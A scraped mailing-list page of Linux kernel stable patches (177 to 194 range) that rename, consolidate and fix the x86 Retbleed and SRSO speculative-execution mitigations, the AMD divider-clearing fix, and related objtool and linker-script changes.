@@ -507,8 +507,8 @@ INIT_PER_CPU(irq_stack_backing_store); "fixed_percpu_data is not at start of per-cpu area"); #endif - #ifdef CONFIG_RETHUNK -. = ASSERT((__ret & 0x3f) == 0, "__ret not cacheline-aligned"); +#ifdef CONFIG_RETHUNK +. = ASSERT((zen_return_thunk & 0x3f) == 0, "zen_return_thunk not cacheline-aligned"); . = ASSERT((srso_safe_ret & 0x3f) == 0, "srso_safe_ret not cacheline-aligned"); #endif
arch/x86/lib/retpoline.S +42 -16
140 lines not on this page · raw message
tools/objtool/arch/x86/decode.c +1 -1
@@ -799,5 +799,5 @@ bool arch_is_rethunk(struct symbol *sym)return !strcmp (sym->name,"__x86_return_thunk" ) || !strcmp (sym->name,"srso_untrain_ret" ) || !strcmp (sym->name,"srso_safe_ret" ) || - !strcmp (sym->name,"__ret" ); + !strcmp (sym->name,"zen_return_thunk" ); }
Greg Kroah-Hartman
maintainerPATCH 177/194 x86/cpu: Rename original retbleed methods
In reply to Greg Kroah-HartmanFrom: Peter Zijlstra <[email protected]>
commit d025b7bac07a6e90b6b98b487f88854ad9247c39 upstream.
Rename the original retbleed return thunk and untrain_ret to retbleed_return_thunk() and retbleed_untrain_ret().
No functional changes.
--- arch/x86/include/asm/nospec-branch.h | 8 ++++---- arch/x86/kernel/cpu/bugs.c | 2 +- arch/x86/kernel/vmlinux.lds.S | 2 +- arch/x86/lib/retpoline.S | 30 +++++++++++++++--------------- tools/objtool/arch/x86/decode.c | 2 +- tools/objtool/check.c | 2 +- 6 files changed, 23 insertions(+), 23 deletions(-)
arch/x86/include/asm/nospec-branch.h +4 -4
@@ -168,7 +168,7 @@ .endm#ifdef CONFIG_CPU_UNRET_ENTRY -#define CALL_ZEN_UNTRAIN_RET "call zen_untrain_ret" +#define CALL_ZEN_UNTRAIN_RET "call retbleed_untrain_ret"#else #define CALL_ZEN_UNTRAIN_RET ""#endif
@@ -178,7 +178,7 @@* return thunk isn't mapped into the userspace tables (then again, AMD * typically has NO_MELTDOWN). * -* While zen_untrain_ret() doesn't clobber anything but requires stack, +* While retbleed_untrain_ret() doesn't clobber anything but requires stack, * entry_ibpb() will clobber AX, CX, DX. * * As such, this must be placed after every *SWITCH_TO_KERNEL_CR3 at a point
@@ -216,11 +216,11 @@ extern void __x86_return_thunk(void);static inline void __x86_return_thunk (void ) {}#endif -extern void zen_return_thunk (void ); +extern void retbleed_return_thunk (void );extern void srso_return_thunk (void );extern void srso_alias_return_thunk (void ); -extern void zen_untrain_ret (void ); +extern void retbleed_untrain_ret (void );extern void srso_untrain_ret (void );extern void srso_untrain_ret_alias (void );
arch/x86/kernel/cpu/bugs.c +1 -1
@@ -1021,7 +1021,7 @@ do_cmd_auto:setup_force_cpu_cap (X86_FEATURE_UNRET );if (IS_ENABLED (CONFIG_RETHUNK )) - x86_return_thunk = zen_return_thunk; + x86_return_thunk = retbleed_return_thunk;if (boot_cpu_data.x86_vendor !=X86_VENDOR_AMD && boot_cpu_data.x86_vendor !=X86_VENDOR_HYGON )
arch/x86/kernel/vmlinux.lds.S +1 -1
@@ -508,7 +508,7 @@ INIT_PER_CPU(irq_stack_backing_store); #endif #ifdef CONFIG_RETHUNK -. = ASSERT((zen_return_thunk & 0x3f) == 0, "zen_return_thunk not cacheline-aligned"); +. = ASSERT((retbleed_return_thunk & 0x3f) == 0, "retbleed_return_thunk not cacheline-aligned"); . = ASSERT((srso_safe_ret & 0x3f) == 0, "srso_safe_ret not cacheline-aligned"); #endif
arch/x86/lib/retpoline.S +15 -15
@@ -131,32 +131,32 @@ SYM_CODE_END(srso_alias_return_thunk) /* * Safety details here pertain to the AMD Zen{1,2} microarchitecture: - * 1) The RET at zen_return_thunk must be on a 64 byte boundary, for + * 1) The RET at retbleed_return_thunk must be on a 64 byte boundary, for * alignment within the BTB. - * 2) The instruction at zen_untrain_ret must contain, and not + * 2) The instruction at retbleed_untrain_ret must contain, and not * end with, the 0xc3 byte of the RET. * 3) STIBP must be enabled, or SMT disabled, to prevent the sibling thread * from re-poisioning the BTB prediction. */ .align 64 - .skip 64 - (zen_return_thunk - zen_untrain_ret), 0xcc -SYM_START(zen_untrain_ret, SYM_L_GLOBAL, SYM_A_NONE) + .skip 64 - (retbleed_return_thunk - retbleed_untrain_ret), 0xcc +SYM_START(retbleed_untrain_ret, SYM_L_GLOBAL, SYM_A_NONE) ANNOTATE_NOENDBR /* - * As executed from zen_untrain_ret, this is: + * As executed from retbleed_untrain_ret, this is: * * TEST $0xcc, %bl * LFENCE - * JMP zen_return_thunk + * JMP retbleed_return_thunk * * Executing the TEST instruction has a side effect of evicting any BTB * prediction (potentially attacker controlled) attached to the RET, as - * zen_return_thunk + 1 isn't an instruction boundary at the moment. + * retbleed_return_thunk + 1 isn't an instruction boundary at the moment. */ .byte 0xf6 /* - * As executed from zen_return_thunk, this is a plain RET. + * As executed from retbleed_return_thunk, this is a plain RET. * * As part of the TEST above, RET is the ModRM byte, and INT3 the imm8. *
@@ -168,13 +168,13 @@ SYM_START(zen_untrain_ret, SYM_L_GLOBAL, * With SMT enabled and STIBP active, a sibling thread cannot poison * RET's prediction to a type of its choice, but can evict the * prediction due to competitive sharing. If the prediction is - * evicted, zen_return_thunk will suffer Straight Line Speculation + * evicted, retbleed_return_thunk will suffer Straight Line Speculation * which will be contained safely by the INT3. */ -SYM_INNER_LABEL(zen_return_thunk, SYM_L_GLOBAL) +SYM_INNER_LABEL(retbleed_return_thunk, SYM_L_GLOBAL) ret int3 -SYM_CODE_END(zen_return_thunk) +SYM_CODE_END(retbleed_return_thunk) /* * Ensure the TEST decoding / BTB invalidation is complete.
@@ -185,13 +185,13 @@ SYM_CODE_END(zen_return_thunk) * Jump back and execute the RET in the middle of the TEST instruction. * INT3 is for SLS protection. */ - jmp zen_return_thunk + jmp retbleed_return_thunk int3 -SYM_FUNC_END(zen_untrain_ret) -__EXPORT_THUNK(zen_untrain_ret) +SYM_FUNC_END(retbleed_untrain_ret) +__EXPORT_THUNK(retbleed_untrain_ret) /* - * SRSO untraining sequence for Zen1/2, similar to zen_untrain_ret() + * SRSO untraining sequence for Zen1/2, similar to retbleed_untrain_ret() * above. On kernel entry, srso_untrain_ret() is executed which is a * * movabs $0xccccccc308c48348,%rax
tools/objtool/arch/x86/decode.c +1 -1
@@ -799,5 +799,5 @@ bool arch_is_rethunk(struct symbol *sym)return !strcmp (sym->name,"__x86_return_thunk" ) || !strcmp (sym->name,"srso_untrain_ret" ) || !strcmp (sym->name,"srso_safe_ret" ) || - !strcmp (sym->name,"zen_return_thunk" ); + !strcmp (sym->name,"retbleed_return_thunk" ); }
tools/objtool/check.c +1 -1
@@ -1430,7 +1430,7 @@ static int add_jump_destinations(structstruct symbol *sym =find_symbol_by_offset (dest_sec, dest_off);/* -* This is a special case for zen_untrain_ret(). +* This is a special case for retbleed_untrain_ret(). * It jumps to __x86_return_thunk(), but objtool * can't find the thunk's starting RET * instruction, because the RET is also in the
Greg Kroah-Hartman
maintainerPATCH 178/194 x86/cpu: Rename srso_(.*)_alias to srso_alias_\1
In reply to Greg Kroah-HartmanFrom: Peter Zijlstra <[email protected]>
commit 42be649dd1f2eee6b1fb185f1a231b9494cf095f upstream.
For a more consistent namespace.
[ bp: Fixup names in the doc too. ]
--- Documentation/admin-guide/hw-vuln/srso.rst | 4 ++-- arch/x86/include/asm/nospec-branch.h | 4 ++-- arch/x86/kernel/vmlinux.lds.S | 8 ++++---- arch/x86/lib/retpoline.S | 26 +++++++++++++------------- 4 files changed, 21 insertions(+), 21 deletions(-)
Documentation/admin-guide/hw-vuln/srso.rst +2 -2
@@ -124,8 +124,8 @@ sequence. To ensure the safety of this mitigation, the kernel must ensure that the safe return sequence is itself free from attacker interference. In Zen3 and Zen4, this is accomplished by creating a BTB alias between the -untraining function srso_untrain_ret_alias() and the safe return -function srso_safe_ret_alias() which results in evicting a potentially +untraining function srso_alias_untrain_ret() and the safe return +function srso_alias_safe_ret() which results in evicting a potentially poisoned BTB entry and using that safe one for all function returns. In older Zen1 and Zen2, this is accomplished using a reinterpretation
arch/x86/include/asm/nospec-branch.h +2 -2
@@ -195,7 +195,7 @@#ifdef CONFIG_CPU_SRSO ALTERNATIVE_2 "" ,"call srso_untrain_ret" ,X86_FEATURE_SRSO , \ -"call srso_untrain_ret_alias" ,X86_FEATURE_SRSO_ALIAS +"call srso_alias_untrain_ret" ,X86_FEATURE_SRSO_ALIAS #endif .endm
@@ -222,7 +222,7 @@ extern void srso_alias_return_thunk(voidextern void retbleed_untrain_ret (void );extern void srso_untrain_ret (void ); -extern void srso_untrain_ret_alias (void ); +extern void srso_alias_untrain_ret (void );extern void entry_ibpb (void );
arch/x86/kernel/vmlinux.lds.S +4 -4
@@ -141,10 +141,10 @@ SECTIONS #ifdef CONFIG_CPU_SRSO /* - * See the comment above srso_untrain_ret_alias()'s + * See the comment above srso_alias_untrain_ret()'s * definition. */ - . = srso_untrain_ret_alias | (1 << 2) | (1 << 8) | (1 << 14) | (1 << 20); + . = srso_alias_untrain_ret | (1 << 2) | (1 << 8) | (1 << 14) | (1 << 20); *(.text.__x86.rethunk_safe) #endif ALIGN_ENTRY_TEXT_END
@@ -523,8 +523,8 @@ INIT_PER_CPU(irq_stack_backing_store); * Instead do: (A | B) - (A & B) in order to compute the XOR * of the two function addresses: */ -. = ASSERT(((ABSOLUTE(srso_untrain_ret_alias) | srso_safe_ret_alias) - - (ABSOLUTE(srso_untrain_ret_alias) & srso_safe_ret_alias)) == ((1 << 2) | (1 << 8) | (1 << 14) | (1 << 20)), +. = ASSERT(((ABSOLUTE(srso_alias_untrain_ret) | srso_alias_safe_ret) - + (ABSOLUTE(srso_alias_untrain_ret) & srso_alias_safe_ret)) == ((1 << 2) | (1 << 8) | (1 << 14) | (1 << 20)), "SRSO function pair won't alias"); #endif
arch/x86/lib/retpoline.S +13 -13
@@ -76,56 +76,56 @@ SYM_CODE_END(__x86_indirect_thunk_array) #ifdef CONFIG_RETHUNK /* - * srso_untrain_ret_alias() and srso_safe_ret_alias() are placed at + * srso_alias_untrain_ret() and srso_alias_safe_ret() are placed at * special addresses: * - * - srso_untrain_ret_alias() is 2M aligned - * - srso_safe_ret_alias() is also in the same 2M page but bits 2, 8, 14 + * - srso_alias_untrain_ret() is 2M aligned + * - srso_alias_safe_ret() is also in the same 2M page but bits 2, 8, 14 * and 20 in its virtual address are set (while those bits in the - * srso_untrain_ret_alias() function are cleared). + * srso_alias_untrain_ret() function are cleared). * * This guarantees that those two addresses will alias in the branch * target buffer of Zen3/4 generations, leading to any potential * poisoned entries at that BTB slot to get evicted. * - * As a result, srso_safe_ret_alias() becomes a safe return. + * As a result, srso_alias_safe_ret() becomes a safe return. */ #ifdef CONFIG_CPU_SRSO .section .text.__x86.rethunk_untrain -SYM_START(srso_untrain_ret_alias, SYM_L_GLOBAL, SYM_A_NONE) +SYM_START(srso_alias_untrain_ret, SYM_L_GLOBAL, SYM_A_NONE) UNWIND_HINT_FUNC ANNOTATE_NOENDBR ASM_NOP2 lfence jmp srso_alias_return_thunk -SYM_FUNC_END(srso_untrain_ret_alias) -__EXPORT_THUNK(srso_untrain_ret_alias) +SYM_FUNC_END(srso_alias_untrain_ret) +__EXPORT_THUNK(srso_alias_untrain_ret) .section .text.__x86.rethunk_safe #else /* dummy definition for alternatives */ -SYM_START(srso_untrain_ret_alias, SYM_L_GLOBAL, SYM_A_NONE) +SYM_START(srso_alias_untrain_ret, SYM_L_GLOBAL, SYM_A_NONE) ANNOTATE_UNRET_SAFE ret int3 -SYM_FUNC_END(srso_untrain_ret_alias) +SYM_FUNC_END(srso_alias_untrain_ret) #endif -SYM_START(srso_safe_ret_alias, SYM_L_GLOBAL, SYM_A_NONE) +SYM_START(srso_alias_safe_ret, SYM_L_GLOBAL, SYM_A_NONE) add $8, %_ASM_SP UNWIND_HINT_FUNC ANNOTATE_UNRET_SAFE ret int3 -SYM_FUNC_END(srso_safe_ret_alias) +SYM_FUNC_END(srso_alias_safe_ret) .section .text.__x86.return_thunk SYM_CODE_START(srso_alias_return_thunk) UNWIND_HINT_FUNC ANNOTATE_NOENDBR - call srso_safe_ret_alias + call srso_alias_safe_ret ud2 SYM_CODE_END(srso_alias_return_thunk)
Greg Kroah-Hartman
maintainerPATCH 179/194 x86/cpu: Cleanup the untrain mess
In reply to Greg Kroah-HartmanFrom: Peter Zijlstra <[email protected]>
commit e7c25c441e9e0fa75b4c83e0b26306b702cfe90d upstream.
Since there can only be one active return_thunk, there only needs be one (matching) untrain_ret. It fundamentally doesn't make sense to allow multiple untrain_ret at the same time.
Fold all the 3 different untrain methods into a single (temporary) helper stub.
--- arch/x86/include/asm/nospec-branch.h | 12 ++++-------- arch/x86/kernel/cpu/bugs.c | 1 + arch/x86/lib/retpoline.S | 7 +++++++ 3 files changed, 12 insertions(+), 8 deletions(-)
arch/x86/include/asm/nospec-branch.h +4 -8
@@ -168,9 +168,9 @@ .endm#ifdef CONFIG_CPU_UNRET_ENTRY -#define CALL_ZEN_UNTRAIN_RET "call retbleed_untrain_ret" +#define CALL_UNTRAIN_RET "call entry_untrain_ret"#else -#define CALL_ZEN_UNTRAIN_RET "" +#define CALL_UNTRAIN_RET ""#endif /*
@@ -189,14 +189,9 @@defined (CONFIG_CPU_SRSO) ANNOTATE_UNRET_ENDALTERNATIVE_2 "" , \ -CALL_ZEN_UNTRAIN_RET ,X86_FEATURE_UNRET , \ +CALL_UNTRAIN_RET ,X86_FEATURE_UNRET , \"call entry_ibpb" ,X86_FEATURE_ENTRY_IBPB #endif - -#ifdef CONFIG_CPU_SRSO -ALTERNATIVE_2 "" ,"call srso_untrain_ret" ,X86_FEATURE_SRSO , \ -"call srso_alias_untrain_ret" ,X86_FEATURE_SRSO_ALIAS -#endif .endm#else /* __ASSEMBLY__ */
@@ -224,6 +219,7 @@ extern void retbleed_untrain_ret(void);extern void srso_untrain_ret (void );extern void srso_alias_untrain_ret (void ); +extern void entry_untrain_ret (void );extern void entry_ibpb (void );#ifdef CONFIG_RETPOLINE
arch/x86/kernel/cpu/bugs.c +1 -0
@@ -2429,6 +2429,7 @@ static void __init srso_select_mitigatio* like ftrace, static_call, etc. */ setup_force_cpu_cap (X86_FEATURE_RETHUNK ); +setup_force_cpu_cap (X86_FEATURE_UNRET );if (boot_cpu_data.x86 ==0x19 ) {setup_force_cpu_cap (X86_FEATURE_SRSO_ALIAS );
arch/x86/lib/retpoline.S +7 -0
@@ -233,6 +233,13 @@ SYM_CODE_START(srso_return_thunk) ud2 SYM_CODE_END(srso_return_thunk) +SYM_FUNC_START(entry_untrain_ret) + ALTERNATIVE_2 "jmp retbleed_untrain_ret", \ + "jmp srso_untrain_ret", X86_FEATURE_SRSO, \ + "jmp srso_alias_untrain_ret", X86_FEATURE_SRSO_ALIAS +SYM_FUNC_END(entry_untrain_ret) +__EXPORT_THUNK(entry_untrain_ret) + SYM_CODE_START(__x86_return_thunk) UNWIND_HINT_FUNC ANNOTATE_NOENDBR
Greg Kroah-Hartman
maintainerPATCH 180/194 x86/srso: Explain the untraining sequences a bit more
In reply to Greg Kroah-HartmanFrom: Borislav Petkov (AMD) <[email protected]>
commit 9dbd23e42ff0b10c9b02c9e649c76e5228241a8e upstream.
The goal is to eventually have a proper documentation about all this.
--- arch/x86/lib/retpoline.S | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+)
arch/x86/lib/retpoline.S +19 -0
@@ -130,6 +130,25 @@ SYM_CODE_START(srso_alias_return_thunk) SYM_CODE_END(srso_alias_return_thunk) /* + * Some generic notes on the untraining sequences: + * + * They are interchangeable when it comes to flushing potentially wrong + * RET predictions from the BTB. + * + * The SRSO Zen1/2 (MOVABS) untraining sequence is longer than the + * Retbleed sequence because the return sequence done there + * (srso_safe_ret()) is longer and the return sequence must fully nest + * (end before) the untraining sequence. Therefore, the untraining + * sequence must fully overlap the return sequence. + * + * Regarding alignment - the instructions which need to be untrained, + * must all start at a cacheline boundary for Zen1/2 generations. That + * is, instruction sequences starting at srso_safe_ret() and + * the respective instruction sequences at retbleed_return_thunk() + * must start at a cacheline boundary. + */ + +/* * Safety details here pertain to the AMD Zen{1,2} microarchitecture: * 1) The RET at retbleed_return_thunk must be on a 64 byte boundary, for * alignment within the BTB.
Greg Kroah-Hartman
maintainerPATCH 181/194 x86/static_call: Fix __static_call_fixup()
In reply to Greg Kroah-HartmanFrom: Peter Zijlstra <[email protected]>
commit 54097309620ef0dc2d7083783dc521c6a5fef957 upstream.
Christian reported spurious module load crashes after some of Song's module memory layout patches.
Turns out that if the very last instruction on the very last page of the module is a 'JMP __x86_return_thunk' then __static_call_fixup() will trip a fault and die.
And while the module rework made this slightly more likely to happen, it's always been possible.
--- arch/x86/kernel/static_call.c | 13 +++++++++++++ 1 file changed, 13 insertions(+)
arch/x86/kernel/static_call.c +13 -0
@@ -184,6 +184,19 @@ EXPORT_SYMBOL_GPL(arch_static_call_trans*/ bool __static_call_fixup (void *tramp,u8 op,void *dest) { +unsigned long addr = (unsigned long )tramp; +/* +* Not all .return_sites are a static_call trampoline (most are not). +* Check if the 3 bytes after the return are still kernel text, if not, +* then this definitely is not a trampoline and we need not worry +* further. +* +* This avoids the memcmp() below tripping over pagefaults etc.. +*/ +if (((addr >>PAGE_SHIFT ) != ((addr +7 ) >>PAGE_SHIFT )) && + !kernel_text_address (addr +7 )) +return false; +if (memcmp (tramp+5 , tramp_ud,3 )) {/* Not a trampoline site, not our problem. */ return false;
Greg Kroah-Hartman
maintainerPATCH 182/194 x86/retpoline: Dont clobber RFLAGS during srso_safe_ret()
In reply to Greg Kroah-HartmanFrom: Sean Christopherson <[email protected]>
commit ba5ca5e5e6a1d55923e88b4a83da452166f5560e upstream.
Use LEA instead of ADD when adjusting %rsp in srso_safe_ret{,_alias}() so as to avoid clobbering flags. Drop one of the INT3 instructions to account for the LEA consuming one more byte than the ADD.
KVM's emulator makes indirect calls into a jump table of sorts, where the destination of each call is a small blob of code that performs fast emulation by executing the target instruction with fixed operands.
E.g. to emulate ADC, fastop() invokes adcb_al_dl():
adcb_al_dl:
<+0>: adc %dl,%al
<+2>: jmp <__x86_return_thunk>A major motivation for doing fast emulation is to leverage the CPU to handle consumption and manipulation of arithmetic flags, i.e. RFLAGS is both an input and output to the target of the call. fastop() collects the RFLAGS result by pushing RFLAGS onto the stack and popping them back into a variable (held in %rdi in this case):
asm("push %[flags]; popf; " CALL_NOSPEC " ; pushf; pop %[flags]\n"
<+71>: mov 0xc0(%r8),%rdx <+78>: mov 0x100(%r8),%rcx <+85>: push %rdi
<+86>: popf
<+87>: call *%rsi
<+89>: nop
<+90>: nop
<+91>: nop
<+92>: pushf
<+93>: pop %rdi
and then propagating the arithmetic flags into the vCPU's emulator state:
ctxt->eflags = (ctxt->eflags & ~EFLAGS_MASK) | (flags & EFLAGS_MASK);
<+64>: and $0xfffffffffffff72a,%r9 <+94>: and $0x8d5,%edi <+109>: or %rdi,%r9 <+122>: mov %r9,0x10(%r8)
The failures can be most easily reproduced by running the "emulator" test in KVM-Unit-Tests.
If you're feeling a bit of deja vu, see commit b63f20a778c8 ("x86/retpoline: Don't clobber RFLAGS during CALL_NOSPEC on i386").
In addition, this breaks booting of clang-compiled guest on a gcc-compiled host where the host contains the %rsp-modifying SRSO mitigations.
[ bp: Massage commit message, extend, remove addresses. ]
--- arch/x86/lib/retpoline.S | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-)
arch/x86/lib/retpoline.S +3 -4
@@ -113,7 +113,7 @@ SYM_FUNC_END(srso_alias_untrain_ret) #endif SYM_START(srso_alias_safe_ret, SYM_L_GLOBAL, SYM_A_NONE) - add $8, %_ASM_SP + lea 8(%_ASM_SP), %_ASM_SP UNWIND_HINT_FUNC ANNOTATE_UNRET_SAFE ret
@@ -213,7 +213,7 @@ __EXPORT_THUNK(retbleed_untrain_ret) * SRSO untraining sequence for Zen1/2, similar to retbleed_untrain_ret() * above. On kernel entry, srso_untrain_ret() is executed which is a * - * movabs $0xccccccc308c48348,%rax + * movabs $0xccccc30824648d48,%rax * * and when the return thunk executes the inner label srso_safe_ret() * later, it is a stack manipulation and a RET which is mispredicted and
@@ -232,11 +232,10 @@ SYM_START(srso_untrain_ret, SYM_L_GLOBAL * the stack. */ SYM_INNER_LABEL(srso_safe_ret, SYM_L_GLOBAL) - add $8, %_ASM_SP + lea 8(%_ASM_SP), %_ASM_SP ret int3 int3 - int3 /* end of movabs */ lfence call srso_safe_ret
Greg Kroah-Hartman
maintainerPATCH 183/194 x86/CPU/AMD: Fix the DIV(0) initial fix attempt
In reply to Greg Kroah-HartmanFrom: Borislav Petkov (AMD) <[email protected]>
commit f58d6fbcb7c848b7f2469be339bc571f2e9d245b upstream.
Initially, it was thought that doing an innocuous division in the #DE handler would take care to prevent any leaking of old data from the divider but by the time the fault is raised, the speculation has already advanced too far and such data could already have been used by younger operations.
Therefore, do the innocuous division on every exit to userspace so that userspace doesn't see any potentially old data from integer divisions in kernel space.
Do the same before VMRUN too, to protect host data from leaking into the guest too.
--- arch/x86/include/asm/entry-common.h | 1 + arch/x86/kernel/cpu/amd.c | 1 + arch/x86/kernel/traps.c | 2 -- arch/x86/kvm/svm/svm.c | 2 ++ 4 files changed, 4 insertions(+), 2 deletions(-)
arch/x86/include/asm/entry-common.h +1 -0
@@ -92,6 +92,7 @@ static inline void arch_exit_to_user_mod static __always_inline void arch_exit_to_user_mode(void) {mds_user_clear_cpu_buffers (); +amd_clear_divider (); }#define arch_exit_to_user_mode arch_exit_to_user_mode
arch/x86/kernel/cpu/amd.c +1 -0
@@ -1295,3 +1295,4 @@ void noinstr amd_clear_divider(void) asm volatile(ALTERNATIVE("", "div %2\n\t", X86_BUG_DIV0) :: "a" (0), "d" (0), "r" (1)); } +EXPORT_SYMBOL_GPL (amd_clear_divider);
arch/x86/kernel/traps.c +0 -2
@@ -206,8 +206,6 @@ DEFINE_IDTENTRY(exc_divide_error) {do_error_trap (regs,0 ,"divide error" ,X86_TRAP_DE ,SIGFPE ,FPE_INTDIV ,error_get_trap_addr (regs)); - -amd_clear_divider (); }DEFINE_IDTENTRY (exc_overflow)
arch/x86/kvm/svm/svm.c +2 -0
@@ -3947,6 +3947,8 @@ static noinstr void svm_vcpu_enter_exit(guest_state_enter_irqoff (); +amd_clear_divider (); +if (sev_es_guest (vcpu->kvm))__svm_sev_es_vcpu_run (svm, spec_ctrl_intercepted);else
Greg Kroah-Hartman
maintainerPATCH 184/194 x86/srso: Disable the mitigation on unaffected configurations
In reply to Greg Kroah-HartmanFrom: Borislav Petkov (AMD) <[email protected]>
commit e9fbc47b818b964ddff5df5b2d5c0f5f32f4a147 upstream.
Skip the srso cmd line parsing which is not needed on Zen1/2 with SMT disabled and with the proper microcode applied (latter should be the case anyway) as those are not affected.
--- arch/x86/kernel/cpu/bugs.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-)
arch/x86/kernel/cpu/bugs.c +6 -1
@@ -2399,8 +2399,10 @@ static void __init srso_select_mitigatio* IBPB microcode has been applied. */ if ((boot_cpu_data.x86 <0x19 ) && - (!cpu_smt_possible () || (cpu_smt_control ==CPU_SMT_DISABLED ))) + (!cpu_smt_possible () || (cpu_smt_control ==CPU_SMT_DISABLED ))) {setup_force_cpu_cap (X86_FEATURE_SRSO_NO ); +return ; + } }if (retbleed_mitigation ==RETBLEED_MITIGATION_IBPB ) {
@@ -2686,6 +2688,9 @@ static ssize_t gds_show_state(char *buf)static ssize_t srso_show_state (char *buf) { +if (boot_cpu_has (X86_FEATURE_SRSO_NO )) +return sysfs_emit (buf,"Not affected\n" ); +return sysfs_emit (buf,"%s%s\n" , srso_strings[srso_mitigation], (cpu_has_ibpb_brtype_microcode () ?"" :", no microcode" ));
Greg Kroah-Hartman
maintainerPATCH 185/194 x86/retpoline,kprobes: Fix position of thunk sections with CONFIG_LTO_CLANG
In reply to Greg Kroah-HartmanFrom: Petr Pavlu <[email protected]>
commit 79cd2a11224eab86d6673fe8a11d2046ae9d2757 upstream.
The linker script arch/x86/kernel/vmlinux.lds.S matches the thunk sections ".text.__x86.*" from arch/x86/lib/retpoline.S as follows:
.text {
[...]
TEXT_TEXT
[...]
__indirect_thunk_start = .;
*(.text.__x86.*)
__indirect_thunk_end = .;
[...]
}Macro TEXT_TEXT references TEXT_MAIN which normally expands to only ".text". However, with CONFIG_LTO_CLANG, TEXT_MAIN becomes ".text .text.[0-9a-zA-Z_]*" which wrongly matches also the thunk sections. The output layout is then different than expected. For instance, the currently defined range [__indirect_thunk_start, __indirect_thunk_end] becomes empty.
Prevent the problem by using ".." as the first separator, for example, ".text..__x86.indirect_thunk". This pattern is utilized by other explicit section names which start with one of the standard prefixes, such as ".text" or ".data", and that need to be individually selected in the linker script.
[ nathan: Fix conflicts with SRSO and fold in fix issue brought up by
Andrew Cooper in post-review:
https://lore.kernel.org/[email protected] ]
--- arch/x86/kernel/vmlinux.lds.S | 8 ++++---- arch/x86/lib/retpoline.S | 8 ++++---- tools/objtool/check.c | 2 +- 3 files changed, 9 insertions(+), 9 deletions(-)
arch/x86/kernel/vmlinux.lds.S +4 -4
@@ -134,7 +134,7 @@ SECTIONS KPROBES_TEXT ALIGN_ENTRY_TEXT_BEGIN #ifdef CONFIG_CPU_SRSO - *(.text.__x86.rethunk_untrain) + *(.text..__x86.rethunk_untrain) #endif ENTRY_TEXT
@@ -145,7 +145,7 @@ SECTIONS * definition. */ . = srso_alias_untrain_ret | (1 << 2) | (1 << 8) | (1 << 14) | (1 << 20); - *(.text.__x86.rethunk_safe) + *(.text..__x86.rethunk_safe) #endif ALIGN_ENTRY_TEXT_END SOFTIRQENTRY_TEXT
@@ -154,8 +154,8 @@ SECTIONS #ifdef CONFIG_RETPOLINE __indirect_thunk_start = .; - *(.text.__x86.indirect_thunk) - *(.text.__x86.return_thunk) + *(.text..__x86.indirect_thunk) + *(.text..__x86.return_thunk) __indirect_thunk_end = .; #endif } :text =0xcccc
arch/x86/lib/retpoline.S +4 -4
@@ -11,7 +11,7 @@ #include <asm/frame.h> #include <asm/nops.h> - .section .text.__x86.indirect_thunk + .section .text..__x86.indirect_thunk .macro RETPOLINE reg ANNOTATE_INTRA_FUNCTION_CALL
@@ -91,7 +91,7 @@ SYM_CODE_END(__x86_indirect_thunk_array) * As a result, srso_alias_safe_ret() becomes a safe return. */ #ifdef CONFIG_CPU_SRSO - .section .text.__x86.rethunk_untrain + .section .text..__x86.rethunk_untrain SYM_START(srso_alias_untrain_ret, SYM_L_GLOBAL, SYM_A_NONE) UNWIND_HINT_FUNC
@@ -102,7 +102,7 @@ SYM_START(srso_alias_untrain_ret, SYM_L_ SYM_FUNC_END(srso_alias_untrain_ret) __EXPORT_THUNK(srso_alias_untrain_ret) - .section .text.__x86.rethunk_safe + .section .text..__x86.rethunk_safe #else /* dummy definition for alternatives */ SYM_START(srso_alias_untrain_ret, SYM_L_GLOBAL, SYM_A_NONE)
@@ -120,7 +120,7 @@ SYM_START(srso_alias_safe_ret, SYM_L_GLO int3 SYM_FUNC_END(srso_alias_safe_ret) - .section .text.__x86.return_thunk + .section .text..__x86.return_thunk SYM_CODE_START(srso_alias_return_thunk) UNWIND_HINT_FUNC
tools/objtool/check.c +1 -1
@@ -379,7 +379,7 @@ static int decode_instructions(struct obif (!strcmp (sec->name,".noinstr.text" ) || !strcmp (sec->name,".entry.text" ) || - !strncmp (sec->name,".text.__x86." ,12 )) + !strncmp (sec->name,".text..__x86." ,13 )) sec->noinstr = true;for (offset =0 ; offset < sec->sh.sh_size; offset += insn->len) {
Greg Kroah-Hartman
maintainerPATCH 186/194 objtool/x86: Fixup frame-pointer vs rethunk
In reply to Greg Kroah-HartmanFrom: Peter Zijlstra <[email protected]>
commit dbf46008775516f7f25c95b7760041c286299783 upstream.
For stack-validation of a frame-pointer build, objtool validates that every CALL instruction is preceded by a frame-setup. The new SRSO return thunks violate this with their RSB stuffing trickery.
Extend the __fentry__ exception to also cover the embedded_insn case used for this. This cures:
vmlinux.o: warning: objtool: srso_untrain_ret+0xd: call without frame pointer save/setup
--- tools/objtool/check.c | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-)
tools/objtool/check.c +11 -6
@@ -2450,12 +2450,17 @@ static int decode_sections(struct objtooreturn 0 ; } -static bool is_fentry_call (struct instruction *insn) +static bool is_special_call (struct instruction *insn) { -if (insn->type ==INSN_CALL && - insn->call_dest && - insn->call_dest->fentry) -return true; +if (insn->type ==INSN_CALL ) { +struct symbol *dest = insn->call_dest; + +if (!dest) +return false; + +if (dest->fentry) +return true; + }return false; }
@@ -3448,7 +3453,7 @@ static int validate_branch(struct objtooif (ret)return ret; -if (opts.stackval && func && !is_fentry_call (insn) && +if (opts.stackval && func && !is_special_call (insn) && !has_valid_stack_frame (&state)) {WARN_FUNC ("call without frame pointer save/setup" , sec, insn->offset);
Greg Kroah-Hartman
maintainerPATCH 187/194 x86/srso: Correct the mitigation status when SMT is disabled
In reply to Greg Kroah-HartmanFrom: Borislav Petkov (AMD) <[email protected]>
commit 6405b72e8d17bd1875a56ae52d23ec3cd51b9d66 upstream.
Specify how is SRSO mitigated when SMT is disabled. Also, correct the SMT check for that.
--- arch/x86/kernel/cpu/bugs.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-)
arch/x86/kernel/cpu/bugs.c +2 -3
